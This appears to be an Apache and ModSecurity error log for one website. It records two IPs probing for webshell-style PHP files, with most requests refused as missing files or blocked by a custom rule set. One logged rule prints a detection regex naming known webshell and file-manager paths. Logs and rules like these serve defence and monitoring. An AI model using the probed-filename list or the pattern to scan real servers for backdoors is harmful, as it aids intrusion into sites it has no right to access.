[Sun Apr 19 22:28:11.597537 2026] [:error] [pid 15760:tid 15783] [client 20.166.83.47:39392] File does not exist: /usr/local/apache/htdocs/suspended-page/ok.php
[Sun Apr 19 22:28:11.891788 2026] [:error] [pid 15760:tid 15771] [client 20.166.83.47:39392] File does not exist: /usr/local/apache/htdocs/suspended-page/zoo.php
[Sun Apr 19 22:28:12.187819 2026] [:error] [pid 15760:tid 15788] [client 20.166.83.47:39392] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gaza.php"] [unique_id "aeTmfPSdD_XHQMJ_IStSRQAAAdQ"]
[Sun Apr 19 22:28:14.211073 2026] [:error] [pid 47775:tid 47848] [client 20.166.83.47:39367] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gaza.php"] [unique_id "aeTmfrmztjlk9tsmoewiqQAAAIU"]
[Sun Apr 19 22:28:16.071701 2026] [:error] [pid 47772:tid 47794] [client 20.166.83.47:45191] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gaza.php"] [unique_id "aeTmgIc0L16cb4smAz_TPQAAAAU"]
[Sun Apr 19 22:28:17.499512 2026] [:error] [pid 47773:tid 47819] [client 20.166.83.47:47820] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gaza.php"] [unique_id "aeTmgeiBHdnCJDuPq9BRkwAAAEM"]
[Sun Apr 19 22:28:18.782896 2026] [:error] [pid 15764:tid 15846] [client 20.166.83.47:31019] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/retu11.PhP7"] [unique_id "aeTmgmLL_sqdSHoVp-QxeQAAAlQ"]
[Sun Apr 19 22:28:20.061725 2026] [:error] [pid 15694:tid 15733] [client 20.166.83.47:39401] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/retu11.PhP7"] [unique_id "aeTmhLimB-jol1fwqAoWUwAAAYc"]
[Sun Apr 19 22:28:21.426737 2026] [:error] [pid 15763:tid 15819] [client 20.166.83.47:23392] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/retu11.PhP7"] [unique_id "aeTmhbMXv1Y1THOoxaAL1wAAAhc"]
[Sun Apr 19 22:28:22.235457 2026] [:error] [pid 47775:tid 47848] [client 20.166.83.47:45189] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/retu11.PhP7"] [unique_id "aeTmhrmztjlk9tsmoewisgAAAIU"]
[Sun Apr 19 22:28:23.421337 2026] [:error] [pid 15763:tid 15806] [client 20.166.83.47:27642] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ioxi001.PhP7"] [unique_id "aeTmh7MXv1Y1THOoxaAL3gAAAgo"]
[Sun Apr 19 22:28:24.773028 2026] [:error] [pid 15760:tid 15787] [client 20.166.83.47:3713] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ioxi001.PhP7"] [unique_id "aeTmiPSdD_XHQMJ_IStSYAAAAdM"]
[Sun Apr 19 22:28:26.523593 2026] [:error] [pid 15760:tid 15771] [client 20.166.83.47:26425] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ioxi001.PhP7"] [unique_id "aeTmivSdD_XHQMJ_IStSawAAAcM"]
[Sun Apr 19 22:28:29.873752 2026] [:error] [pid 47772:tid 47802] [client 20.166.83.47:60802] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ioxi001.PhP7"] [unique_id "aeTmjYc0L16cb4smAz_TTAAAAA0"]
[Sun Apr 19 22:28:32.547146 2026] [:error] [pid 47886:tid 47906] [client 20.166.83.47:44347] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/mk.php"] [unique_id "aeTmkESe8yiyuPrD7yOCcAAAANI"]
[Sun Apr 19 22:28:36.019635 2026] [:error] [pid 15760:tid 15785] [client 20.166.83.47:26419] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/mk.php"] [unique_id "aeTmlPSdD_XHQMJ_IStSdgAAAdE"]
[Sun Apr 19 22:28:38.854876 2026] [:error] [pid 47772:tid 47812] [client 20.166.83.47:45243] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/mk.php"] [unique_id "aeTmloc0L16cb4smAz_TVAAAABc"]
[Sun Apr 19 22:28:41.399451 2026] [:error] [pid 15760:tid 15780] [client 20.166.83.47:26398] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/mk.php"] [unique_id "aeTmmfSdD_XHQMJ_IStSgwAAAcw"]
[Sun Apr 19 22:28:44.074037 2026] [:error] [pid 47775:tid 47855] [client 20.166.83.47:30613] [client 20.166.83.47] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "windfarmcoolants.com.au"] [uri "/fm.php"] [unique_id "aeTmnLmztjlk9tsmoewiuQAAAIw"]
[Sun Apr 19 22:47:53.044096 2026] [:error] [pid 47773:tid 47831] [client 20.203.188.128:57600] File does not exist: /usr/local/apache/htdocs/suspended-page/ws80.php
[Sun Apr 19 22:47:53.340749 2026] [:error] [pid 47773:tid 47832] [client 20.203.188.128:57600] File does not exist: /usr/local/apache/htdocs/suspended-page/inputs.php
[Sun Apr 19 22:47:53.631163 2026] [:error] [pid 47773:tid 47821] [client 20.203.188.128:57600] File does not exist: /usr/local/apache/htdocs/suspended-page/ioxi-o.php
[Sun Apr 19 22:47:53.908872 2026] [:error] [pid 47773:tid 47840] [client 20.203.188.128:57600] File does not exist: /usr/local/apache/htdocs/suspended-page/8.php
[Sun Apr 19 22:47:54.149057 2026] [:error] [pid 47773:tid 47828] [client 20.203.188.128:57600] File does not exist: /usr/local/apache/htdocs/suspended-page/jga.php
[Sun Apr 19 22:47:54.714828 2026] [:error] [pid 47773:tid 47830] [client 20.203.188.128:57600] File does not exist: /usr/local/apache/htdocs/suspended-page/an.php
[Sun Apr 19 22:47:54.990812 2026] [:error] [pid 47773:tid 47817] [client 20.203.188.128:57600] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-blog-header.php
[Sun Apr 19 22:47:55.258719 2026] [:error] [pid 47773:tid 47838] [client 20.203.188.128:57600] File does not exist: /usr/local/apache/htdocs/suspended-page/1.php
[Sun Apr 19 22:47:56.877816 2026] [:error] [pid 47773:tid 47838] [client 20.203.188.128:57600] File does not exist: /usr/local/apache/htdocs/suspended-page/admlo.php
[Sun Apr 19 22:47:57.147568 2026] [:error] [pid 47773:tid 47837] [client 20.203.188.128:57600] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/t.php"] [unique_id "aeTrHeiBHdnCJDuPq9BWFQAAAFU"]
[Sun Apr 19 22:48:10.901142 2026] [:error] [pid 15764:tid 15826] [client 20.203.188.128:33237] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/t.php"] [unique_id "aeTrKmLL_sqdSHoVp-Q45AAAAkA"]
[Sun Apr 19 22:48:13.617863 2026] [:error] [pid 47775:tid 47846] [client 20.203.188.128:34963] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lib.php"] [unique_id "aeTrLbmztjlk9tsmoewm5wAAAIM"]
[Sun Apr 19 22:48:15.643044 2026] [:error] [pid 15764:tid 15826] [client 20.203.188.128:41596] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lib.php"] [unique_id "aeTrL2LL_sqdSHoVp-Q47AAAAkA"]
[Sun Apr 19 22:48:17.050501 2026] [:error] [pid 15764:tid 15847] [client 20.203.188.128:34985] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lib.php"] [unique_id "aeTrMWLL_sqdSHoVp-Q48QAAAlU"]
[Sun Apr 19 22:48:18.348789 2026] [:error] [pid 47775:tid 47852] [client 20.203.188.128:41587] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lib.php"] [unique_id "aeTrMrmztjlk9tsmoewm7AAAAIk"]
[Sun Apr 19 22:48:19.388782 2026] [:error] [pid 15763:tid 15799] [client 20.203.188.128:4720] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/kj.php"] [unique_id "aeTrM7MXv1Y1THOoxaASCQAAAgM"]
[Sun Apr 19 22:48:20.864482 2026] [:error] [pid 47773:tid 47819] [client 20.203.188.128:41541] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/kj.php"] [unique_id "aeTrNOiBHdnCJDuPq9BWMwAAAEM"]
[Sun Apr 19 22:48:22.300055 2026] [:error] [pid 15764:tid 15850] [client 20.203.188.128:41589] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/kj.php"] [unique_id "aeTrNmLL_sqdSHoVp-Q4-AAAAlc"]
[Sun Apr 19 22:48:23.714522 2026] [:error] [pid 47775:tid 47855] [client 20.203.188.128:38503] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/kj.php"] [unique_id "aeTrN7mztjlk9tsmoewm9AAAAIw"]
[Sun Apr 19 22:48:24.419783 2026] [:error] [pid 15694:tid 15726] [client 20.203.188.128:33246] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/new.php"] [unique_id "aeTrOLimB-jol1fwqAoYRgAAAYM"]
[Sun Apr 19 22:48:26.630913 2026] [:error] [pid 15764:tid 15827] [client 20.203.188.128:41598] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/new.php"] [unique_id "aeTrOmLL_sqdSHoVp-Q5BwAAAkE"]
[Sun Apr 19 22:48:28.339099 2026] [:error] [pid 15764:tid 15832] [client 20.203.188.128:34958] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/new.php"] [unique_id "aeTrPGLL_sqdSHoVp-Q5DgAAAkY"]
[Sun Apr 19 22:48:30.631557 2026] [:error] [pid 15764:tid 15834] [client 20.203.188.128:33419] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/new.php"] [unique_id "aeTrPmLL_sqdSHoVp-Q5HgAAAkg"]
[Sun Apr 19 22:48:32.114807 2026] [:error] [pid 15764:tid 15832] [client 20.203.188.128:4144] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/edit.php"] [unique_id "aeTrQGLL_sqdSHoVp-Q5KwAAAkY"]
[Sun Apr 19 22:48:33.383758 2026] [:error] [pid 15764:tid 15835] [client 20.203.188.128:34205] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/edit.php"] [unique_id "aeTrQWLL_sqdSHoVp-Q5LgAAAkk"]
[Sun Apr 19 22:48:34.602988 2026] [:error] [pid 47773:tid 47838] [client 20.203.188.128:4675] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/edit.php"] [unique_id "aeTrQuiBHdnCJDuPq9BWRAAAAFY"]
[Sun Apr 19 22:48:36.002911 2026] [:error] [pid 15764:tid 15842] [client 20.203.188.128:41993] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/edit.php"] [unique_id "aeTrRGLL_sqdSHoVp-Q5OAAAAlA"]
[Sun Apr 19 22:48:37.100003 2026] [:error] [pid 15764:tid 15844] [client 20.203.188.128:29828] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gettest.php"] [unique_id "aeTrRWLL_sqdSHoVp-Q5PgAAAlI"]
[Sun Apr 19 22:48:38.408947 2026] [:error] [pid 15760:tid 15778] [client 20.203.188.128:29846] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gettest.php"] [unique_id "aeTrRvSdD_XHQMJ_IStdxQAAAco"]
[Sun Apr 19 22:48:39.758877 2026] [:error] [pid 15760:tid 15776] [client 20.203.188.128:30610] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gettest.php"] [unique_id "aeTrR_SdD_XHQMJ_IStdyQAAAcg"]
[Sun Apr 19 22:48:41.070085 2026] [:error] [pid 47886:tid 47905] [client 20.203.188.128:45649] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gettest.php"] [unique_id "aeTrSUSe8yiyuPrD7yOFLgAAANE"]
[Sun Apr 19 22:48:42.814325 2026] [:error] [pid 15760:tid 15782] [client 20.203.188.128:45693] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/666.php"] [unique_id "aeTrSvSdD_XHQMJ_IStd1QAAAc4"]
[Sun Apr 19 22:48:43.717593 2026] [:error] [pid 47775:tid 47863] [client 20.203.188.128:23389] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/666.php"] [unique_id "aeTrS7mztjlk9tsmoewm_QAAAJQ"]
[Sun Apr 19 22:48:45.114025 2026] [:error] [pid 47886:tid 47891] [client 20.203.188.128:32722] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/666.php"] [unique_id "aeTrTUSe8yiyuPrD7yOFLwAAAMM"]
[Sun Apr 19 22:48:46.089171 2026] [:error] [pid 47886:tid 47899] [client 20.203.188.128:25709] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/666.php"] [unique_id "aeTrTkSe8yiyuPrD7yOFMQAAAMs"]
[Sun Apr 19 22:48:47.656264 2026] [:error] [pid 47772:tid 47808] [client 20.203.188.128:32745] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tool.php"] [unique_id "aeTrT4c0L16cb4smAz_ZdQAAABM"]
[Sun Apr 19 22:48:49.072295 2026] [:error] [pid 47886:tid 47892] [client 20.203.188.128:57301] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tool.php"] [unique_id "aeTrUUSe8yiyuPrD7yOFNwAAAMQ"]
[Sun Apr 19 22:48:50.103838 2026] [:error] [pid 15694:tid 15746] [client 20.203.188.128:42242] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tool.php"] [unique_id "aeTrUrimB-jol1fwqAoYUwAAAZQ"]
[Sun Apr 19 22:48:50.872312 2026] [:error] [pid 47772:tid 47797] [client 20.203.188.128:4961] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tool.php"] [unique_id "aeTrUoc0L16cb4smAz_ZeAAAAAg"]
[Sun Apr 19 22:48:52.105114 2026] [:error] [pid 47775:tid 47867] [client 20.203.188.128:42249] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-blogs.php"] [unique_id "aeTrVLmztjlk9tsmoewnBgAAAJg"]
[Sun Apr 19 22:48:53.226483 2026] [:error] [pid 15760:tid 15792] [client 20.203.188.128:30595] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-blogs.php"] [unique_id "aeTrVfSdD_XHQMJ_IStd4gAAAdg"]
[Sun Apr 19 22:48:54.571157 2026] [:error] [pid 15764:tid 15832] [client 20.203.188.128:30604] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-blogs.php"] [unique_id "aeTrVmLL_sqdSHoVp-Q5VgAAAkY"]
[Sun Apr 19 22:48:56.023728 2026] [:error] [pid 15763:tid 15814] [client 20.203.188.128:45689] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-blogs.php
[Sun Apr 19 22:48:56.282095 2026] [:error] [pid 15763:tid 15805] [client 20.203.188.128:45689] File does not exist: /usr/local/apache/htdocs/suspended-page/bgymj.php
[Sun Apr 19 22:48:56.520726 2026] [:error] [pid 15763:tid 15820] [client 20.203.188.128:45689] File does not exist: /usr/local/apache/htdocs/suspended-page/mini.php
[Sun Apr 19 22:48:56.759585 2026] [:error] [pid 15763:tid 15815] [client 20.203.188.128:45689] File does not exist: /usr/local/apache/htdocs/suspended-page/amax.php
[Sun Apr 19 22:48:57.033138 2026] [:error] [pid 15763:tid 15809] [client 20.203.188.128:45689] File does not exist: /usr/local/apache/htdocs/suspended-page/mh.php
